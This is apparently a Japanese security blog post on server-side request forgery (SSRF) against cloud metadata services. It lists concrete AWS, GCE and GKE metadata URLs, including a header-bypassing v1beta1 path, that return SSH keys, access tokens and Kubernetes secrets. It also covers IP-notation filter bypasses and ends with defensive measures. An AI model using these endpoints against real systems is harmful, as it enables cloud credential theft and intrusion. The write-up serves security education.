電気が送電されました!万歳!!

9/8が誕生日なのでお待ちしております。


先日、以下のような記事を見た。

EC2では、インスタンス内から http://169.254.169.254/ にアクセスすると、そのインスタンスに関する情報が取得できるようになっている。
そのため、SSRF脆弱性が存在し、レスポンスをユーザーに表示しているような場合には、http://169.254.169.254/latest/meta-data/iam/security-credentials/ にアクセスされることで、AWSのクレデンシャルを不正に取得される。

SSRFについてはここでは解説しない。以下の記事などを参照してほしい。

SSRFは WebHook などを実装する際に作り込みやすく、過去には GitLab や Slack などのサービスでも報告がある。

さて、インスタンス情報やクレデンシャルを取得できるのは EC2 に限った話ではなく、このようなメタデータサービス(という呼び方でいいのだろうか)を提供しているクラウドサービス全般で(GCPやAzureでも)発生する可能性がある。

ここでは、GCPを例に挙げてみる。

GCE

GCEでは http://metadata.google.internal/computeMetadata/v1/project/ というエンドポイントにインスタンス内にアクセスすることでプロジェクトの情報を取得できる。
ただし、Metadata-Flavor ヘッダーを付与しなければいけない。そのため、Webアプリケーション上にSSRF脆弱性が存在していても情報が漏れる可能性は低い。

しかし、v1beta1 のエンドポイントはヘッダーを必要としないため、バイパス可能である。

SSH公開鍵の取得

SSH公開鍵の情報は以下のエンドポイントから取得できる。

http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
mrtc0:ssh-rsa AAAABXXXXXXXXXXXXXXXXXXXXXXXXgoogle-ssh {"userName":"mrtc0@ssrf.in","expireOn":"2018-09-05T07:16:40+0000"}
...

アクセストークンを取得する

アクセストークンは以下のエンドポイントから取得できる。

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
{"access_token":"XXXXXXXXXXXXXXXXXXX","expires_in":3394,"token_type":"Bearer"}

以下のエンドポイントにアクセスすることで、そのアクセストークンの権限を調べることができる。もし access_type が read / write だったりすると色々やられてしまう。

$ curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=XXXXXXXXXXXXXXXXXXX"
{
 "issued_to": "XXXXXXXXXXXXXXXXXXXXXX",
 "audience": "XXXXXXXXXXXXXXXXXXXXX",
 "scope": "https://www.googleapis.com/auth/trace.append https://www.googleapis.com/auth/service.management.readonly https://www.googleapis.com/auth/servicecontrol https://www.googleapis.com/auth/monitoring.write https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_only",
 "expires_in": 3562,
 "access_type": "offline"
}

GKE

GKEの場合は以下のエンドポイントにアクセスすることで Kubernetes にアクセスするための秘密鍵や証明書を取得できる。

http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
"ALLOCATE_NODE_CIDRS: \"true\"\nCA_CERT: XXXXXX...

攻撃者は取得した情報を用いて kubectl1 exec などで自由にインスタンスを操作することができる。

ちなみにこの攻撃例は Shopifyで実際にあった


対策

EC2上のAWS CLIで使われている169.254について でもあるように iptables などで対象IPアドレスに制限をかけることが挙げられる。

なお、著名なクラウドサービスでのメタデータサービスのIPアドレスは以下にまとめている。

また、アプリケーションの対策としては 0x7f.1 のような表記でも適切にIPアドレスとして扱ってくれるライブラリを使用してフィルタする方法が挙げられる。
制限するIPアドレスは、上記のようなメタデータサービスのIPアドレスに加えて、内部ネットワークアドレスも指定した方が良い。
注意する点として、過去には Ruby の Resolv::getaddresses127.000.001 のようなIPアドレスを適切に扱わないことがあったため、使用する際には手元で確認してみたほうがよい。

こういった言語レベルでのURLパーサーの実装不備 このへんの話については Orange Tsai 氏が Black Hat USA 2017 で発表した資料 が参考になる。

09/06 修正。調べたところ言語レベルの実装不備ではなく、OSの実装次第という話でしたので修正しました。すみませんでした。

SSRF